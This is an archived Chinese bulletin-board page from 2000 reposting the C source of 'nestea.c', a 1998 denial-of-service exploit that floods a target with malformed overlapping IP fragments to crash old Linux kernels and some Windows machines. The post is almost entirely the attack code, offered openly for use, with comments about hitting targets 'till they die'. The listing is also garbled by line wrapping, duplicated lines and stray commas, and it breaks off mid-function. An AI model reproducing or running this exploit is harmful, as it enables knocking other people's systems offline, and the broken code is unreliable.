📄 328.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="329.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: nestea.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:47:09 2000), 站内信件 <br>
// nestea.c by humble of rhino9 4/16/98 <br>
// This exploits the "off by one ip header" bug in the linux ip frag code. <br>
// Crashes linux 2.0.* and 2.1.* and some windows boxes <br>
// this code is a total rip of teardrop - it's messy <br>
// hi sygma <br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <unistd.h> <br>
#include <string.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/udp.h> <br>
#include <arpa/inet.h> <br>
#include <sys/types.h> <br>
#include <sys/time.h> <br>
#include <sys/socket.h> <br>
// bsd usage is currently broken because of socket options on the third send <br>
to <br>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING <br>
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 <br>
*/ <br>
#define FIX(n) (n) <br>
#else /* OpenBSD 2.1, all Linux */ <br>
#define FIX(n) htons(n) <br>
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */ <br>
#define IP_MF 0x2000 /* More IP fragment en route */ <br>
#define IPH 0x14 /* IP header size */ <br>
#define UDPH 0x8 /* UDP header size */ <br>
#define MAGIC2 108 <br>
#define PADDING 256 /* datagram frame padding for first packet */ <br>
#define COUNT 500 /* we are overwriting a small number of bytes we <br>
shouldnt have access to in the kernel. <br>
to be safe, we should hit them till they die :> */ <br>
void usage(u_char *); <br>
u_long name_resolve(u_char *); <br>
u_short in_cksum(u_short *, int); <br>
void send_frags(int, u_long, u_long, u_short, u_short); <br>
int main(int argc, char **argv) <br>
{ <br>
int one = 1, count = 0, i, rip_sock; <br>
u_long src_ip = 0, dst_ip = 0; <br>
u_short src_prt = 0, dst_prt = 0; <br>
struct in_addr addr; <br>
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) <br>
{ <br>
perror("raw socket"); <br>
exit(1); <br>
} <br>
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(on <br>
e)) <br>
< 0) <br>
{ <br>
perror("IP_HDRINCL"); <br>
exit(1); <br>
} <br>
if (argc < 3) usage(argv[0]); <br>
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2] <br>
))) <br>
{ <br>
fprintf(stderr, "What the hell kind of IP address is that?\n"); <br>
exit(1); <br>
} <br>
while ((i = getopt(argc, argv, "s:t:n:")) != EOF) <br>
{ <br>
{ <br>
switch (i) <br>
{ <br>
case 's': /* source port (should be emphemeral) */ <br>
<br>
src_prt = (u_short)atoi(optarg); <br>
break; <br>
case 't': /* dest port (DNS, anyone?) */ <br>
dst_prt = (u_short)atoi(optarg); <br>
break; <br>
case 'n': /* number to send */ <br>
count = atoi(optarg); <br>
break; <br>
default : <br>
usage(argv[0]); <br>
break; /* NOTREACHED */ <br>
} <br>
} <br>
srandom((unsigned)(time((time_t)0))); <br>
if (!src_prt) src_prt = (random() % 0xffff); <br>
if (!dst_prt) dst_prt = (random() % 0xffff); <br>
if (!count) count = COUNT; <br>
fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / <br>
daem <br>
on9\n"); <br>
fprintf(stderr, "Death on flaxen wings (yet again):\n"); <br>
addr.s_addr = src_ip; <br>
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); <br>
addr.s_addr = dst_ip; <br>
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); <br>
fprintf(stderr, " Amt: %5d\n", count); <br>
fprintf(stderr, "[ "); <br>
for (i = 0; i < count; i++) <br>
{ <br>
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); <br>
fprintf(stderr, "b00m "); <br>
usleep(500); <br>
} <br>
fprintf(stderr, "]\n"); <br>
return (0); <br>
} <br>
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, <br>
u_short dst_prt) <br>
{ <br>
int i; <br>
int i; <br>
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ <br>
u_char byte; /* a byte */ <br>
struct sockaddr_in sin; /* socket protocol structure */ <br>
sin.sin_family = AF_INET; <br>
sin.sin_port = src_prt; <br>
sin.sin_addr.s_addr = dst_ip; <br>
packet = (u_char *)malloc(IPH + UDPH + PADDING+40); <br>
p_ptr = packet; <br>
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); <br>
byte = 0x45; /* IP version and header length */ <br>
memcpy(p_ptr, &byte, sizeof(u_char)); <br>
p_ptr += 2; /* IP TOS (skipped) */ <br>
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(242); /* IP id */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0x40; /* IP TTL */ <br>
byte = IPPROTO_UDP; <br>
memcpy(p_ptr + 1, &byte, sizeof(u_char)); <br>
p_ptr += 4; /* IP checksum filled in by kernel * <br>
/ <br>
*((u_long *)p_ptr) = src_ip; /* IP source address */ <br>
p_ptr += 4; <br>
*((u_long *)p_ptr) = dst_ip; /* IP destination address */ <br>
p_ptr += 4; <br>
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */ <br>
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin, <br>
sizeof(struct sockaddr)) == -1) <br>
{ <br>
perror("\nsendto"); <br>
free(packet); <br>
exit(1); <br>
} <br>
p_ptr = packet; <br>
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); <br>
byte = 0x45; /* IP version and header length */ <br>
memcpy(p_ptr, &byte, sizeof(u_char)); <br>
p_ptr += 2; /* IP TOS (skipped) */ <br>
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(242); /* IP id */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0x40; /* IP TTL */ <br>
byte = IPPROTO_UDP; <br>
memcpy(p_ptr + 1, &byte, sizeof(u_char)); <br>
p_ptr += 4; /* IP checksum filled in by kernel * <br>
/ <br>
*((u_long *)p_ptr) = src_ip; /* IP source address */ <br>
p_ptr += 4; <br>
*((u_long *)p_ptr) = dst_ip; /* IP destination address */ <br>
p_ptr += 4; <br>
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */ <br>
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin <br>
, <br>
, <br>
sizeof(struct sockaddr)) == -1) <br>
{ <br>
perror("\nsendto"); <br>
free(packet); <br>
exit(1); <br>
} <br>
p_ptr = packet; <br>
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40); <br>
byte = 0x4F; /* IP version and header length */ <br>
memcpy(p_ptr, &byte, sizeof(u_char)); <br>
p_ptr += 2; /* IP TOS (skipped) */ <br>
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length * <br>
/ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(242); /* IP id */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0x40; /* IP TTL */ <br>
byte = IPPROTO_UDP; <br>
memcpy(p_ptr + 1, &byte, sizeof(u_char)); <br>
p_ptr += 4; /* IP checksum filled in by kernel * <br>
/ <br>
*((u_long *)p_ptr) = src_ip; /* IP source address */ <br>
p_ptr += 4; <br>
*((u_long *)p_ptr) = dst_ip; /* IP destination address */ <br>
p_ptr += 44; <br>
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ <br>
for(i=0;i<PADDING;i++) <br>
{ <br>
p_ptr[i++]=random()%255; <br>
} <br>
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&si <br>
n, <br>
sizeof(struct sockaddr)) == -1) <br>
{ <br>
perror("\nsendto"); <br>
free(packet); <br>
exit(1); <br>
} <br>
free(packet); <br>
} <br>
u_long name_resolve(u_char *host_name) <br>
{ <br>
struct in_addr addr; <br>
struct hostent *host_ent; <br>
if ((addr.s_addr = inet_addr(host_name)) == -1) <br>
{ <br>
if (!(host_ent = gethostbyname(host_name))) return (0); <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="329.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -